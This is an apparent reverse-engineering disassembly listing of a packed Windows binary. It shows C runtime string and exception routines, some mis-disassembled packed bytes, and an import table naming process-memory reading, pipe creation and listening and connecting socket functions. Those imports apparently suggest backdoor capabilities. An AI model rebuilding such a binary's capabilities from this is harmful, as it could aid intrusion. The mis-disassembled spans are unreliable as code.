byte_4E2B98, 1 jnz short loc_4265C9 or byte_4E2B98, 1 loc_4265C9: ; CODE XREF: sub_4265A4+1Cj jmp loc_4265DA sub_4265A4 endp ; =============== S U B R O U T I N E ======================================= sub_4265CE proc near ; CODE XREF: sub_4265A4:loc_4265B4p push offset nullsub_1 call sub_41D6E0 pop ecx retn sub_4265CE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265A4 loc_4265DA: ; CODE XREF: sub_4265A4:loc_4265C9j push offset nullsub_1 call sub_41D6E0 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4265A4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4265E8 proc near ; CODE XREF: sub_40CD4C+5Ep ; sub_40F168+14Ap ... jmp dword_427228 sub_4265E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4265EE proc near ; CODE XREF: sub_41CF70+23p ; sub_41D214+13p jmp dword_4271A0 sub_4265EE endp ; =============== S U B R O U T I N E ======================================= sub_4265F4 proc near ; CODE XREF: .nsp0:00417954p ; .nsp0:0041796Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4E15B0, 0 push ebx jnz short loc_42663A mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426606: ; CODE XREF: sub_4265F4+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426618 cmp bx, 41h jb short loc_426618 add ebx, 20h loc_426618: ; CODE XREF: sub_4265F4+19j ; sub_4265F4+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42662A cmp ax, 41h jb short loc_42662A add eax, 20h loc_42662A: ; CODE XREF: sub_4265F4+2Bj ; sub_4265F4+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42666A cmp bx, ax jz short loc_426606 jmp short loc_42666A ; --------------------------------------------------------------------------- loc_42663A: ; CODE XREF: sub_4265F4+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426644: ; CODE XREF: sub_4265F4+72j mov ax, [esi] inc esi push eax inc esi call sub_4267A5 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4267A5 pop ecx test bx, bx pop ecx jz short loc_426668 cmp bx, ax jz short loc_426644 loc_426668: ; CODE XREF: sub_4265F4+6Dj pop edi pop esi loc_42666A: ; CODE XREF: sub_4265F4+3Dj ; sub_4265F4+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4265F4 endp ; =============== S U B R O U T I N E ======================================= sub_426674 proc near ; DATA XREF: .nsp0:off_427D3Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426717 test [esp+4+arg_0], 1 jz short loc_42668A push esi call sub_41D323 pop ecx loc_42668A: ; CODE XREF: sub_426674+Dj mov eax, esi pop esi retn 4 sub_426674 endp ; =============== S U B R O U T I N E ======================================= sub_426690 proc near ; CODE XREF: sub_4262EA+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D3C push dword ptr [edi] call sub_41B890 inc eax push eax call sub_41D665 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4266BF push dword ptr [edi] push eax call sub_41C550 pop ecx pop ecx loc_4266BF: ; CODE XREF: sub_426690+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_426690 endp ; =============== S U B R O U T I N E ======================================= sub_4266CD proc near ; CODE XREF: sub_4263D1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D3C mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_42670A push dword ptr [edi+4] call sub_41B890 inc eax push eax call sub_41D665 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426710 push dword ptr [edi+4] push eax call sub_41C550 pop ecx pop ecx jmp short loc_426710 ; --------------------------------------------------------------------------- loc_42670A: ; CODE XREF: sub_4266CD+16j mov eax, [edi+4] mov [esi+4], eax loc_426710: ; CODE XREF: sub_4266CD+2Ej ; sub_4266CD+3Bj mov eax, esi pop edi pop esi retn 4 sub_4266CD endp ; =============== S U B R O U T I N E ======================================= sub_426717 proc near ; CODE XREF: sub_426378+2Bp ; sub_42642E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D3C jz short locret_42672C push dword ptr [ecx+4] call sub_41D323 pop ecx locret_42672C: ; CODE XREF: sub_426717+Aj retn sub_426717 endp ; =============== S U B R O U T I N E ======================================= sub_42672D proc near ; DATA XREF: .nsp0:00427D40o mov eax, [ecx+4] test eax, eax jnz short locret_426739 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426739: ; CODE XREF: sub_42672D+5j retn sub_42672D endp ; =============== S U B R O U T I N E ======================================= sub_42673A proc near ; CODE XREF: .nsp0:00426752p mov dword ptr [ecx], offset off_427D5C mov ecx, [ecx+4] test ecx, ecx jz short locret_42674E push ecx call sub_41B961 pop ecx locret_42674E: ; CODE XREF: sub_42673A+Bj retn sub_42673A endp ; --------------------------------------------------------------------------- loc_42674F: ; DATA XREF: .nsp0:off_427D5Co push esi mov esi, ecx call sub_42673A test byte ptr [esp+8], 1 jz short loc_426765 push esi call sub_41D323 pop ecx loc_426765: ; CODE XREF: .nsp0:0042675Cj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42676B proc near ; CODE XREF: sub_426290+54p ; sub_42635B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D60 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_42705C ; RaiseException pop edi pop esi leave retn 8 sub_42676B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4267A5 proc near ; CODE XREF: sub_4265F4+56p ; sub_4265F4+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4267B7 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4267B7: ; CODE XREF: sub_4267A5+Bj cmp dword_4E15B0, 0 jnz short loc_4267D1 cmp ax, 41h jb short locret_426818 cmp ax, 5Ah ja short locret_426818 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4267D1: ; CODE XREF: sub_4267A5+19j cmp ax, 100h jnb short loc_4267EB push 1 push eax call sub_426A53 pop ecx test eax, eax pop ecx jnz short loc_4267EB mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_4267EB: ; CODE XREF: sub_4267A5+30j ; sub_4267A5+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4E15B0 call loc_42681A add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426818 mov ax, [ebp+var_2] locret_426818: ; CODE XREF: sub_4267A5+1Fj ; sub_4267A5+25j ... leave retn sub_4267A5 endp ; --------------------------------------------------------------------------- loc_42681A: ; CODE XREF: sub_4267A5+5Fp push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D80 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor esi, esi cmp dword_4E1804, esi jnz short loc_426890 push esi push esi push 1 pop ebx push ebx push offset dword_427918 mov edi, 100h push edi push esi call dword_427050 ; LCMapStringW test eax, eax jz short loc_42686E mov dword_4E1804, ebx jmp short loc_426890 ; --------------------------------------------------------------------------- loc_42686E: ; CODE XREF: .nsp0:00426864j push esi push esi push ebx push offset dword_4D10A8 push edi push esi call near ptr 0B40000h sbb [ebp-767BF040h], eax add [eax], eax add bh, al add eax, offset dword_4E1804 add al, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_426890: ; CODE XREF: .nsp0:00426848j ; .nsp0:0042686Cj cmp [ebp+14h], esi jle short loc_4268A5 push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_426A23 pop ecx pop ecx mov [ebp+14h], eax loc_4268A5: ; CODE XREF: .nsp0:00426893j mov eax, dword_4E1804 cmp eax, 1 jnz short loc_4268CC push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_427050 ; LCMapStringW jmp loc_426A11 ; --------------------------------------------------------------------------- loc_4268CC: ; CODE XREF: .nsp0:004268ADj cmp eax, 2 jnz loc_426A0F cmp [ebp+20h], esi jnz short loc_4268E2 mov eax, dword_4E15C0 mov [ebp+20h], eax loc_4268E2: ; CODE XREF: .nsp0:004268D8j push esi push esi push esi push esi push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 220h push dword ptr [ebp+20h] call dword_427180 ; WideCharToMultiByte mov [ebp-20h], eax cmp eax, esi jz loc_426A0F mov [ebp-4], esi add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov eax, esp mov [ebp-1Ch], eax jmp short loc_426928 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor esi, esi mov [ebp-1Ch], esi loc_426928: ; CODE XREF: .nsp0:0042691Aj or dword ptr [ebp-4], 0FFFFFFFFh cmp [ebp-1Ch], esi jz loc_426A0F push esi push esi push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 220h push dword ptr [ebp+20h] call dword_427180 ; WideCharToMultiByte test eax, eax jz loc_426A0F push esi push esi push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0B40000h db 64h mov edi, eax mov [ebp-2Ch], edi cmp edi, esi jz loc_426A0F mov dword ptr [ebp-4], 1 add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov ebx, esp mov [ebp-24h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_4269AB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor esi, esi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov edi, [ebp-2Ch] loc_4269AB: ; CODE XREF: .nsp0:00426997j cmp ebx, esi jz short loc_426A0F push edi push ebx push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0B40000h lock test eax, eax jz short loc_426A0F test byte ptr [ebp+0Dh], 4 jz short loc_4269E9 mov eax, [ebp+1Ch] cmp eax, esi jz short loc_426A0B cmp eax, edi jl short loc_4269DA mov eax, edi loc_4269DA: ; CODE XREF: .nsp0:004269D6j push eax push ebx push dword ptr [ebp+18h] call sub_41BCA0 add esp, 0Ch jmp short loc_426A0B ; --------------------------------------------------------------------------- loc_4269E9: ; CODE XREF: .nsp0:004269CBj cmp [ebp+1Ch], esi jnz short loc_4269F2 push esi push esi jmp short loc_4269F8 ; --------------------------------------------------------------------------- loc_4269F2: ; CODE XREF: .nsp0:004269ECj push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_4269F8: ; CODE XREF: .nsp0:004269F0j push edi push ebx push 1 push dword ptr [ebp+20h] call dword_427184 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_426A0F loc_426A0B: ; CODE XREF: .nsp0:004269D2j ; .nsp0:004269E7j mov eax, edi jmp short loc_426A11 ; --------------------------------------------------------------------------- loc_426A0F: ; CODE XREF: .nsp0:004268CFj ; .nsp0:004268FFj ... xor eax, eax loc_426A11: ; CODE XREF: .nsp0:004268C7j ; .nsp0:00426A0Dj lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_426A23 proc near ; CODE XREF: .nsp0:0042689Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426A42 loc_426A33: ; CODE XREF: sub_426A23+1Dj cmp word ptr [eax], 0 jz short loc_426A42 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426A33 loc_426A42: ; CODE XREF: sub_426A23+Ej ; sub_426A23+14j cmp word ptr [eax], 0 pop esi jnz short loc_426A50 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426A50: ; CODE XREF: sub_426A23+24j mov eax, edx retn sub_426A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426A53 proc near ; CODE XREF: sub_4267A5+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426A93 cmp [ebp+arg_0], 100h jnb short loc_426A77 movzx eax, [ebp+arg_0] mov ecx, off_442564 mov ax, [ecx+eax*2] jmp short loc_426A9A ; --------------------------------------------------------------------------- loc_426A77: ; CODE XREF: sub_426A53+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call loc_426AA5 add esp, 18h test eax, eax jnz short loc_426A97 loc_426A93: ; CODE XREF: sub_426A53+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426A97: ; CODE XREF: sub_426A53+3Ej mov eax, [ebp+var_4] loc_426A9A: ; CODE XREF: sub_426A53+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426A53 endp ; --------------------------------------------------------------------------- loc_426AA5: ; CODE XREF: sub_426A53+34p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D98 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp mov eax, dword_4E1808 xor edi, edi cmp eax, edi jnz short loc_426B14 lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_427918 push esi call dword_427020 ; GetStringTypeW test eax, eax jz short loc_426AF2 mov eax, esi jmp short loc_426B0F ; --------------------------------------------------------------------------- loc_426AF2: ; CODE XREF: .nsp0:00426AECj lea eax, [ebp-1Ch] push eax push esi push offset dword_4D10A8 push esi push edi call near ptr 0B40000h int 85h ror byte ptr [edi], 84h dec edx add [eax], eax add [edx+2], ch pop eax loc_426B0F: ; CODE XREF: .nsp0:00426AF0j mov dword_4E1808, eax loc_426B14: ; CODE XREF: .nsp0:00426AD4j cmp eax, 1 jnz short loc_426B30 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_427020 ; GetStringTypeW jmp loc_426C58 ; --------------------------------------------------------------------------- loc_426B30: ; CODE XREF: .nsp0:00426B17j cmp eax, 2 jnz loc_426C56 cmp [ebp+18h], edi jnz short loc_426B46 mov eax, dword_4E15C0 mov [ebp+18h], eax loc_426B46: ; CODE XREF: .nsp0:00426B3Cj push edi push edi push edi push edi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 220h push dword ptr [ebp+18h] call dword_427180 ; WideCharToMultiByte mov esi, eax mov [ebp-28h], esi cmp esi, edi jz loc_426C56 mov [ebp-4], edi add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov eax, esp mov [ebp-2Ch], eax push esi push edi push eax call sub_41BC40 add esp, 0Ch or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_426BA4 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi mov [ebp-2Ch], edi or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_426BA4: ; CODE XREF: .nsp0:00426B8Fj cmp [ebp-2Ch], edi jz loc_426C56 push edi push edi push esi push dword ptr [ebp-2Ch] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 220h push dword ptr [ebp+18h] call dword_427180 ; WideCharToMultiByte test eax, eax jz loc_426C56 mov dword ptr [ebp-4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov ebx, esp mov [ebp-24h], ebx jmp short loc_426BF9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx loc_426BF9: ; CODE XREF: .nsp0:00426BECj or dword ptr [ebp-4], 0FFFFFFFFh cmp ebx, edi jz short loc_426C56 mov eax, [ebp+1Ch] cmp eax, edi jnz short loc_426C0D mov eax, dword_4E15B0 loc_426C0D: ; CODE XREF: .nsp0:00426C06j mov ecx, [ebp+10h] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push dword ptr [ebp-28h] push dword ptr [ebp-2Ch] push dword ptr [ebp+8] push eax call near ptr 0B40000h and cl, [ecx-7E991FBBh] loc_426C37: ; CODE XREF: .nsp0:loc_426C37j jle short loc_426C37 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 74h dd 3E816619h, 1275FFFFh, 75FF5357h, 66E2E814h, 0C483FFFFh dd 0E0458B0Ch ; --------------------------------------------------------------------------- jmp short loc_426C58 ; --------------------------------------------------------------------------- loc_426C56: ; CODE XREF: .nsp0:00426B33j ; .nsp0:00426B65j ... xor eax, eax loc_426C58: ; CODE XREF: .nsp0:00426B2Bj ; .nsp0:00426C54j lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 4 loc_426C6C: ; DATA XREF: .nsp0:00427F5Co lea ecx, [ebp-38h] jmp loc_40D3BE ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426C8A mov ecx, [ebp+8] jmp loc_40D3BE ; --------------------------------------------------------------------------- locret_426C8A: ; CODE XREF: .nsp0:00426C7Cj retn ; --------------------------------------------------------------------------- loc_426C8B: ; DATA XREF: sub_40CF88o mov eax, offset dword_427F30 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D3BE ; --------------------------------------------------------------------------- loc_426CA0: ; DATA XREF: .nsp0:00427F8Co lea ecx, [ebp-1Ch] jmp loc_40D3BE ; --------------------------------------------------------------------------- loc_426CA8: ; DATA XREF: sub_40D12Ao mov eax, offset dword_427F60 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 loc_426CB4: ; DATA XREF: sub_40D6A1o mov eax, offset dword_427F90 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-20h] jmp loc_40D3BE ; --------------------------------------------------------------------------- loc_426CC8: ; DATA XREF: sub_426290o mov eax, offset dword_428068 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_426717 ; --------------------------------------------------------------------------- loc_426CDC: ; DATA XREF: sub_4262EAo mov eax, offset dword_428090 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_426717 ; --------------------------------------------------------------------------- loc_426CF0: ; DATA XREF: sub_426378o mov eax, offset dword_4280D8 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_426717 ; --------------------------------------------------------------------------- loc_426D04: ; DATA XREF: sub_4263D1o mov eax, offset dword_428100 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_426717 ; --------------------------------------------------------------------------- loc_426D18: ; DATA XREF: sub_42642Eo mov eax, offset dword_428128 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_40D3BE ; --------------------------------------------------------------------------- loc_426D2C: ; DATA XREF: sub_4264BCo mov eax, offset dword_428190 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_426717 ; --------------------------------------------------------------------------- loc_426D40: ; DATA XREF: sub_426516o mov eax, offset dword_4281B8 jmp loc_41CFBF ; --------------------------------------------------------------------------- align 4 dd 0ADh dup(0) dword_427000 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_41011E+5D7r dd 7C833478h dword_427008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_425D2F+261r dword_42700C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_425D2F+B9r dd 7C832044h, 7C80BCCFh, 7C809E01h dword_42701C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; .nsp0:004245C9r dword_427020 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; .nsp0:00423C7Cr ... dd 7C838A0Ch, 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h dd 7C80CC97h dword_42703C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_427040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_4230EC+E1r dword_427044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW dd 7C81DF77h dword_42704C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_427050 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; .nsp0:00422B08r ... dd 7C838DE8h dword_427058 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42705C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_42676B+2Er dd 7C8127A7h dword_427064 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401135+29r ... dword_427068 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; .nsp0:0040422Ar ... dword_42706C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40C574+9Dr ... dd 7C802367h, 7C80B4CFh, 7C814EEAh dword_42707C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; .nsp0:00402513r ... dd 7C831EABh dword_427084 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess dd 7C809920h dword_42708C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; .nsp0:loc_4037D6r ... dd 7C8286EEh, 7C812782h dword_427098 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_41DA8E+4r dword_42709C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C802520h, 7C80E93Fh dword_4270A8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; .nsp0:00404028r ... dword_4270AC dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread dd 7C835DCAh, 7C835E8Fh dword_4270B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_409A6D:loc_409F7Br ... dword_4270BC dd 9C7574h ; sub_417517+60r ... dd 7C8216A4h dword_4270C4 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4270C8 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_418C8D+32r ... dd 7C80C058h dword_4270D0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4270D4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4270D8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4270DC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; .nsp0:0040C477r dd 7C810D87h, 7C8308ADh dword_4270E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; .nsp0:0040E095r ... dword_4270EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40E7D2+1CBr ... dd 7C8312E5h, 7C801E16h, 7C80DDFEh dword_4270FC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; .nsp0:0041A566r dword_427100 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; .nsp0:0041A528r dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh dd 7C80E866h dword_42711C dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_427120 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; .nsp0:0041667Er ... dd 7C81B58Bh, 7C80A05Dh, 7C873A31h dword_427130 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_4157A6+Dr ... dd 7C80A427h, 7C82FA46h, 7C80ABDEh dword_427140 dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_427144 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4176E9+F5r ... dword_427148 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; .nsp0:004178BCr ... dword_42714C dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; .nsp0:004178B2r ... dword_427150 dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_417A19+55r dword_427154 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemorydword_427158 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_417A19+2Er dd 7C82F7A0h dword_427160 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_427164 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C8329D9h dword_427180 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; .nsp0:00422BC8r ... dword_427184 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_41DF04+54r ... dword_427188 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA dd 7C81AE17h, 7C85F90Fh, 7C830B14h, 7C8310F2h dword_42719C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41EA06+28r dword_4271A0 dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh dword_4271B4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4271B8 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4271BC dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4271C0 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_4271C4 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41EAB7+51r dd 7C809E79h, 7C812E76h, 7C809915h, 0 dword_4271D8 dd 71B2517Fh align 10h dword_4271E0 dd 71AB46C9h ; resolved to->WS2_32.getsockopt dd 71AB2B66h, 71AB3F41h dword_4271EC dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_4271F0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40F77A+15r dword_4271F4 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_413CC1+70r ... dword_4271F8 dd 71AB3E00h ; resolved to->WS2_32.binddword_4271FC dd 71AB88D3h ; resolved to->WS2_32.listendword_427200 dd 71AC1028h ; resolved to->WS2_32.acceptdword_427204 dd 71AB8769h ; resolved to->WS2_32.WSASocketAdword_427208 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40EAA2+36r ... dword_42720C dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40EAA2+59r ... dword_427210 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_40F168+5Ar dword_427214 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40E18F+28Br ... dword_427218 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40E18F:loc_40E5E5r ... dword_42721C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40E18F+15r ... dword_427220 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40E18F+A4r ... dword_427224 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40F168+106r dword_427228 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_42722C dd 71AB951Eh ; resolved to->WS2_32.getsocknamedword_427230 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40EAA2+27r ... align 8 dword_427238 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 